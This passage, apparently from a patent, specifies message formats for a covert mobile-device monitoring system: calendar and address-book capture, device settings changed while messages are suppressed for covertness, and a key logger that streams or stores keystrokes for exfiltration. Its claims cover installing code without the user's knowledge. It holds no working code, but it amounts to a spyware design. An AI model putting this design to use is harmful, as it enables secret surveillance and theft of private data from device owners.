‘e’. (Configure or Exfiltration). See






Sections detailing each Message Type






below.





Message
Structure to support Message Type
struct
0
1


Command






struct









6.9.5.8.1 PIM Capture Commands

6.9.5.8.1.1 PIM Capture Configuration Command

The command to configure the options for exfiltration of PIM Capture module data is formatted as described in Table 102.







TABLE 102







PIM Capture Configuration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
14 (PIM Capture)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
c (Configure)
static
1
1


Capture Type
Specify PIM data to capture. This is a bit-
Hex
1
1



mapped value, with Bit 0 = Calendar
Numeric





Data, Bit 1 = Address Book Data.






Remaining bits are reserved for future






use.





Event Mask
Bitmask enumerating the events that
4 byte
1
1



should trigger a Camera message to be
bitmask





sent. See Table 102a for the bitmask






layout





Exfiltration
Three character code, interpreted as
static
1
1


Method
follows:






IMM - Upload changes as they are made






STO - Store changes on device






NDS - Upload data during next user-






initiated data session






NIP - Upload data during next idle






period. Length of idle period must be






specified with the Exfiltration Threshold






parameter in this message






MEM - Upload data when the available






storage space reaches a minimum






amount. The minimum amount of storage






space must be specified with the






Exfiltration Threshold parameter in this






message





Exfiltration
Required for Exfiltration Method = NIP
Hex
0
1


Threshold
and MEM. Used to specify the threshold
Numeric





associated with each of these exfiltration






policies
















TABLE 102a







PIM Event Bitmask Layout








BIT
DESCRIPTION





0
Add


1
Edit


2
Delete


3
Alert/Reminder


4-31
Open









Upon receipt of a PIM Capture Configuration command, the PIM Capture module responds immediately with an acknowledgement that the command was received and processed. Table 103 shows the format for the PIM Capture Configuration response.







TABLE 103







PIM Capture Configuration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
14 (PIM Capture)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all PIM Capture
Hex
1
1



commands is 2400-2499.
Numeric





0 = Success






2400 = No PIM capability






2401 = Start PIM Capture failure






2402 = Stop PIM Capture failure






2403 = No PIM data to upload






2499 = General unexpected error





ErrorString
If ReturnCode > 2403, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message
a - Acknowledgement
static
1
1


Type









6.9.5.8.1.2 PIM Capture Exfiltration Command

The command to immediately start uploading any saved PIM data is formatted as described in Table 104.







TABLE 104







PIM Capture Exfiltration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Application ID
14 (PIM Capture)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module
Hex
1
1



Command)
Numeric




Message Type
e (Exfiltration)
static
1
1









Upon receipt of a PIM Capture Exfiltration command, the PIM Capture module responds immediately with an acknowledgement that the command was received and processed. Table 105 shows the format for the PIM Capture Exfiltration response.







TABLE 105







PIM Capture Exfiltration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
14 (PIM Capture)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all PIM Capture
Hex
1
1



commands is 2400-2499.
Numeric





0 = Success






2400 = No PIM capability






2401 = Start PIM Capture failure






2402 = Stop PIM Capture failure






2403 = No PIM data to upload






2499 = General unexpected error





ErrorString
If ReturnCode>2403, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


PIM Capture
For PIM Capture module data, a structure
struct
1
1


Information
as defined in Table 106.
















TABLE 106







PIM Capture Data Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





PIM Capture
“pcni” -- A static value used to indicate
static
1
1


Data
that the fields that follow represent a PIM





Indicator
Capture Exfiltration Info struct





Number of
The number of data segments that follow.
Hex
1
1


capture
The remaining fields in this structure are
Numeric




segments
repeated this number of times. 0 = no data





Segment
The type of data in this segment. This is a
Hex
1
1


Type
bit-mapped value, with Bit 0 = Calendar
Numeric





Data, Bit 1 = Address Book Data.






Remaining bits are reserved for future use.






Only one bit can be specified





Event Mask
A bitmask representing the event that
4 byte
1
1



triggered the PIM message. See Table 89a
bitmask in





for the bitmask layout
Hex




Segment Data
The data for the segment. This can be
Blob
1
1



address book data, calendar data. Other






types can be supported in a similar






manner.









6.9.5.9 Configure Device Module

The configure device module permits the device and monitoring system settings to be altered from the control system (1400). Messages generated as a result of such changes, other than those to or from the control system (1400), are suppressed to maintain covertness of operation. Specific commands to the configure device module include the commands described in Table 107:







TABLE 107







Configure Device Commands








COMMAND
ACTION





Set or Get configuration parameter
Save or return the setting of a specified parameter.



Parameters include default exfiltration destination



information, default exfiltration network, network



credentials, OTA network settings, or other parameters



by name, such as GPRS settings, Bluetooth settings, e-



mail account settings, WiFi settings, etc.


Restore security settings
Restore device security configuration to most recently



saved state


Capture security settings
Save device security configuration for later restoration


Set user visible settings
Sets the values for user visible memory, disk, and other



system attributes.
















TABLE 108







Configure Device Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
18 (Configure Device)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
Static variable that signifies the type of
static
1
1



command this is. Valid values are ‘g’ and






‘s’. (Get or Set and item). See Sections






detailing each Message Type below.





Message
Structure to support Message Type
struct
0
1


Command






struct









6.9.5.9.1 Configure Device Commands

6.9.5.9.1.1 Configure Device Get Command

The command to get the current values of configuration options is formatted as described in Table 109.







TABLE 109







Configure Device Get Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
18 (Configure Device)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
g (Get)
static
1
1


Get Items
Specify configuration settings to get. This
Hex
1
1



is a bit-mapped value, with Bit 0 =
Numeric





exfiltration destination, Bit 1 =






exfiltration network, Bit 2 = network






credentials, Bit 3 = OTA network






settings, Bit 4 = named parameter, Bit 5 =






Capture Security Settings. Remaining






bits are reserved for future use.





Named
The name of the parameter to get, when
Alpha
0
1


Parameter
Bit 4 is set in Get Items
String









Upon receipt of a Configure Device Get command, the Configure Device module responds immediately with an acknowledgement that the command was received and processed. This response also contains the requested data. Table 110 shows the format for the Configure Device Get response.







TABLE 110







Configure Device Get Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
18 (Configure Device)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Configure
Hex
1
1



Device commands is 2700-2799.
Numeric





0 = Success






2799 = General unexpected error





ErrorString
If ReturnCode > 0, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message
a - Acknowledgement
static
1
1


Type






Item Count
A count of the number of data items that
Hex
1
1



follow this field. If 0, no data is returned.
Numeric





Each Data item consists of two






fields...type and data.





Item Type
The type code for the data item that
Hex
0
5



immediately follows. 1 = exfiltration
Numeric





network, 2 = network credentials, 3 = OTA






network settings, 4 = named parameter, 5 =






Capture Security Settings.





Item Data
The data for the item type that precedes
Alpha
0
5



this field. Individual item format is
String





implementation dependent.









6.9.5.9.1.2 Configure Device Set Command

The command to set one or more device configuration settings is formatted as described in Table 111.







TABLE 111







Configure Device Set Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
18 (Configure Device)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
s (Set)
static
1
1


Item Count
A count of the number of items to set that
Hex
1
1



follow this field. If 0, no items are set.
Numeric





Each item consists of two fields...type






and data.





Item Type
The type code for the field to be set with
Hex
0
6



the data that immediately follows. 1 =
Numeric





exfiltration network, 2 = network






credentials, 3 = OTA network settings, 4 =






named parameter, 5 = Restore Security






Settings, 6 = User Visible Settings





Item Data
Data to set for the item specified by the
Alpha
0
6



preceding field.
String




Parameter
The name of the parameter to set when
Alpha
0
1


Name
bit 4 is set in Item Type
String









Upon receipt of a Configure Device Set command, the Configure Device module responds immediately with an acknowledgement that the command was received and processed. Table 112 shows the format for the Configure Device Set response.







TABLE 112







Configure Device Set Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
18 (Configure Device)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Configure
Hex
1
1



Device commands is 2700-2799.
Numeric





0 = Success






2799 = General unexpected error





ErrorString
If ReturnCode > 0, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1









6.9.5.10 Key Logger Module

The key logger module captures keystokes on the monitored mobile device (1100) and saves these captured materials for exfililtration. The key logger module has the following capabilities:

    
    
        Capture and store keystrokes
        Relay stored keystrokes
        Relay during capture (streaming)
    
    


The captured keystrokes can be immediately streamed to the control system (1400) as they are being entered, or saved on the device for later exfiltration.







TABLE 113







Key Logger Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
19 (Key Logger)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
Static variable that signifies the type of
static
1
1



command this is. Valid values are ‘c’,






‘q’, ‘a’ and ‘e’. (Configure, Query,






Activate, Exfiltration). See Sections






detailing each Message Type below.





Message
Structure to support Message Type
struct
0
1


Command






struct









6.9.5.10.1 Key Logger Commands

6.9.5.10.1.1 Key Logger Configuration Command

The command to configure the options for the Key Logger module is formatted as described in Table 114.







TABLE 114







Key Logger Configuration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
19 (Key Logger)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
c (Configure)
static
1
1


Exfiltration
Three character code, interpreted as
static
1
1


Method
follows:






STR - Stream keystroke data in real-time






IMM - Upload keystroke data






immediately after recording is stopped






STO - Store keystroke data on device






NDS - Upload keystroke data during






next user-initiated data session






NIP - Upload keystroke data during next






idle period. Length of idle period must be






specified with the Exfiltration Threshold






parameter in this message






MEM - Upload keystroke data when the






available storage space reaches a






minimum amount. The minimum amount






of storage space must be specified with






the Exfiltration Threshold parameter in






this message





Exfiltration
Required for Exfiltration Method = NIP
Hex
0
1


Threshold
and MEM. Used to specify the threshold
Numeric





associated with each of these exfiltration






policies









Upon receipt of a Keystroke Logging Configuration command, the Keystroke Logging module responds immediately with an acknowledgement that the command was received and processed. Table 115 shows the format for the Keystroke Logging Configuration response.







TABLE 115







Keystroke Logging Configuration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
19 (Key Logger)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Keystroke
Hex
1
1



Logging commands is 2900-2999.
Numeric





0 = Success






2900 = No keystroke capture capability






2901 = Start keystroke capture failed






2902 = Stop keystroke capture failed






2903 = No keystroke data to upload






2999 = General unexpected error





ErrorString
If ReturnCode > 2903, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message
a - Acknowledgement
static
1
1


Type









6.9.5.10.1.2 Keystroke Capture Query Configuration Command

The command to query the configuration of the Keystroke Capture module is formatted as described in Table 116.







TABLE 116







Keystroke Capture Query Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Application ID
19 (Key Logger)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module
Hex
1
1



Command)
Numeric




Message Type
q (Query)
Static
1
1









Upon receipt of a Keystroke Capture Query Command, the Keystroke Capture module responds immediately with the current Keystroke Capture configuration settings in a message formatted as shown in Table 117.







TABLE 117







Keystroke Capture Query Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
19 (Key Logger)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Keystroke
Hex
1
1



Logging commands is 2900-2999.
Numeric





0 = Success






2900 = No keystroke capture capability






2901 = Start keystroke capture failed






2902 = Stop keystroke capture failed






2903 = No keystroke data to upload






2999 = General unexpected error





ErrorString
If ReturnCode > 2903, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


Exfiltration
Three character code, interpreted as
struct
1
1


Method
follows:






STR - Stream keystroke data in real-time






IMM - Upload keystroke data






immediately after recording is stopped






STO - Store keystroke data on device






NDS - Upload keystroke data during next






user-initiated data session






NIP - Upload keystroke data during next






idle period. Length of idle period must be






specified with the Exfiltration Threshold






parameter in this message






MEM - Upload keystroke data when the






available storage space reaches a






minimum amount. The minimum amount






of storage space must be specified with






the Exfiltration Threshold parameter in






this message





Exfiltration
Required for Exfiltration Method = NIP





Threshold
and MEM. Used to specify the threshold






associated with each of these exfiltration






policies. Ignored if Exfiltration Method is






not NIP or MEM.









6.9.5.10.1.3 Keystroke Capture Activation Command

The command to immediately start or stop keystroke logging for the Keystroke Logger module is formatted as described in Table 118.







TABLE 118







Keystroke Logger Activation Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
19 (Key Logger)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
a (Activation)
static
1
1


State
1 = Activate Keystroke Logging
boolean
1
1



0 = Deactivate Keystroke Logging





Duration
The number of keystrokes to record. A
Hex
1
1



value of 0 indicates unlimited (or until a
Numeric





deactivate command is received or






memory of device is low)









Upon receipt of a Keystroke Logger Activation Command, the Keystroke Logger module responds immediately with an acknowledgement message formatted as described in Table 119. The acknowledgement is sent using the configured destination.







TABLE 119







Keystroke Logger Activation Command Acknowledgement


Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
19 (Key Logger)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Keystroke
Hex
1
1



Logger commands is 2900-2999.
Numeric





0 = Success






2900 = No keystroke capture capability






2901 = Start keystroke capture failed






2902 = Stop keystroke capture failed






2903 = No keystroke data to upload






2999 = General unexpected error





ErrorString
If ReturnCode > 2903, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message
a - Acknowledgement
static
1
1


Type









6.9.5.10.1.4 Keystroke Logger Exfiltration Command

The command to immediately start exfiltrating any saved Keystroke Logger data is formatted as described in Table120.







TABLE 120







Keystroke Logger Exfiltration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Application ID
19 (Key Logger)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module
Hex
1
1



Command)
Numeric




Message Type
e (Exfiltration)
static
1
1









Upon receipt of a Keystroke Logger Exfiltration command, the Keystroke Logger module responds immediately with an acknowledgement that the command was received and processed. Table 121 shows the format for the Keystroke Logger Exfiltration response.







TABLE 121







Keystroke Logger Exfiltration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
19 (Key Logger)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Keystroke
Hex
1
1



Logger commands is 2900-2999.
Numeric





0 = Success






2900 = No keystroke capture capability






2901 = Start keystroke capture failed






2902 = Stop keystroke capture failed






2903 = No keystroke data to upload






2999 = General unexpected error





ErrorString
If ReturnCode > 2903, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


Capture Start
Time key stroke capturing started..
Date/Decimal
1
1


Time
Format of time is yyyyMMddHHmmss






with a 24 hour time stamp.





Capture
Duration of key stroke capture in seconds.
Hex
1
1


Duration

Numeric




Keystroke
The logged keystrokes.
blob
1
1


Logger Data









6.10 Implementation
The invention can be implemented in digital electronic circuitry, or in computer hardware, firmware, software, or in combinations of them. Apparatus of the invention can be implemented in a computer program product tangibly embodied in a machine-readable storage device for execution by a programmable processor; and method steps of the invention can be performed by a programmable processor executing a program of instructions to perform functions of the invention by operating on input data and generating output. The invention can be implemented advantageously in one or more computer programs that are executable on programmable systems including at least one programmable processor coupled to receive data and instructions from, and to transmit data and instructions to, a data storage system, at least one input device, and at least one output device. Each computer program can be implemented in a high-level procedural or object-oriented programming language, or in assembly or machine language if desired; and in any case, the language can be a compiled or interpreted language. Suitable processors include, by way of example, both general and special purpose microprocessors. Generally, a processor will receive instructions and data from a read-only memory and/or a random access memory. Generally, a computer will include one or more mass storage devices for storing data files; such devices include magnetic disks, such as internal hard disks and removable disks; magneto-optical disks; and optical disks. Storage devices suitable for tangibly embodying computer program instructions and data include all forms of non-volatile memory, including by way of example semi conductor memory devices, such as EPROM, EEPROM, and flash memory devices; magnetic disks such as internal hard disks and removable disks; magneto-optical disks; and CD-ROM disks. Any of the foregoing can be supplemented by, or incorporated in, ASICs (application-specific integrated circuits).
To provide for interaction with a user, the invention can be implemented on a computer system having a display device such as a monitor or LCD screen for displaying information to the user. The user can provide input to the computer system through various input devices such as a keyboard and a pointing device, such as a mouse, a trackball, a microphone, a touch-sensitive display, a transducer card reader, a magnetic or paper tape reader, a tablet, a stylus, a voice or handwriting recognizer, or any other well-known input device such as, of course, other computers. The computer system can be programmed to provide a graphical user interface through which computer programs interact with users.
Finally, the processor can be coupled to a computer or telecommunications network, for example, an Internet network, or an intranet network, using a network connection, through which the processor can receive information from the network, or might output information to the network in the course of performing the above-described method steps. Such information, which is often represented as a sequence of instructions to be executed using the processor, can be received from and output to the network, for example, in the form of a computer data signal embodied in a carrier wave. The above-described devices and materials will be familiar to those of skill in the computer hardware and software arts.
It should be noted that the present invention employs various computer-implemented operations involving data stored in computer systems. These operations include, but are not limited to, those requiring physical manipulation of physical quantities. Usually, though not necessarily, these quantities take the form of electrical or magnetic signals capable of being stored, transferred, combined, compared, and otherwise manipulated. The operations described herein that form part of the invention are useful machine operations. The manipulations performed are often referred to in terms, such as, producing, identifying, running, determining, comparing, executing, downloading, or detecting. It is sometimes convenient, principally for reasons of common usage, to refer to these electrical or magnetic signals as bits, values, elements, variables, characters, data, or the like. It should remembered however, that all of these and similar terms are to be associated with the appropriate physical quantities and are merely convenient labels applied to these quantities.
The present invention also relates to devices, systems or apparatus for performing the aforementioned operations. The system can be specially constructed for the required purposes, or it can be a general-purpose computer selectively activated or configured by a computer program stored in the computer. The processes presented above are not inherently related to any particular computer or other computing apparatus. In particular, various general-purpose computers can be used with programs written in accordance with the teachings herein, or, alternatively, it can be more convenient to construct a more specialized computer system to perform the required operations.
A number of implementations of the invention have been described. Nevertheless, it will be understood that various modifications can be made without departing from the spirit and scope of the invention. Accordingly, other embodiments are within the scope of the following claims.

## Claims

1. A method performed at a wireless communication device for surreptitiously monitoring the wireless communication device, comprising:
receiving computer program instructions from a control system for updating a security policy on the wireless communication device to enable at least one of an unauthorized monitoring, unauthorized controlling, or unauthorized communications function on the wireless communication device;
updating the security policy for a plurality of communication methods identified on the wireless communication device; and
establishing a method of communication between the wireless communications device and the control system based on the plurality of communication methods; and
receiving additional computer program instructions from the control system via the established method of communication, wherein the security policy permits the additional computer program instructions to be installed and accepted by the wireless communication device with a user of the wireless communications device being unaware that the additional computer program instructions are being installed and accepted without authorization.

2. The method of claim 1, wherein receiving the additional computer program instructions at said wireless communications device is performed using the method of communication selected from the plurality of communication methods available at the time of exfiltration.

3. The method of claim 1, wherein receiving the additional computer program instructions at said wireless communications device is continuous.

4. The method of claim 3, wherein receiving the additional computer program instructions at said wireless communications device is performed using the method of communication selected from the plurality of communication methods available at the time of exfiltration.

5. The method of claim 1, wherein receiving the additional computer program instructions at said wireless communications device is performed using an over-the-air (OTA) download.

6. The method of claim 5, wherein receiving the additional computer program instructions at said wireless communications device is performed using one or more SMS messages.

7. The method of claim 5, wherein receiving the additional computer program instructions at said wireless communications device is performed using Wireless Application Protocol (WAP).

8. The method of claim 5, wherein receiving the additional computer program instructions at said wireless communications device is performed using a network connection.

9. A method for surreptitiously monitoring wireless communication device from a control system, comprising:
sending to a wireless communication device computer program instructions for updating a security policy for a plurality of communication methods identified on the wireless communication device to enable at least one of an unauthorized monitoring, unauthorized controlling, or unauthorized communications function on the wireless communication device and for establishing a method of communication between the wireless communications device and the control system based on the plurality of communication methods;
establishing a method of communication between the control system and the wireless communications device based on the plurality of communication methods; and
sending additional computer program instructions to the wireless communications device via the established method of communication, wherein the security policy permits the additional computer program instructions to be installed and accepted by the wireless communication device with a user of the wireless communications device being unaware that the additional computer program instruction are being installed and accepted without authorization.

10. The method of claim 9, wherein sending the additional computer program instructions from said control system to said wireless communications device is performed using the method of communication selected from the plurality of communication methods available at the time of exfiltration.

11. The method of claim 9, wherein sending the additional computer program instructions from said control system to said wireless communications device is continuous.

12. The method of claim 11, wherein sending the additional computer program instructions from said control system to said wireless communications device is performed using the method of communication selected from the plurality of communication methods available at the time of exfiltration.

13. The method of claim 9, wherein sending the additional computer program instructions from said control system to said wireless communications device is performed using an over-the-air (OTA) download.

14. The method of claim 13, wherein sending the additional computer program instructions from said control system to said wireless communications device is performed using one or more SMS messages.

15. The method of claim 13, wherein sending the additional computer program instructions from said control system to said wireless communications device is performed using Wireless Application Protocol (WAP.

16. The method of claim 13, wherein sending the additional computer program instructions from said control system to said wireless communications device is performed using a network connection.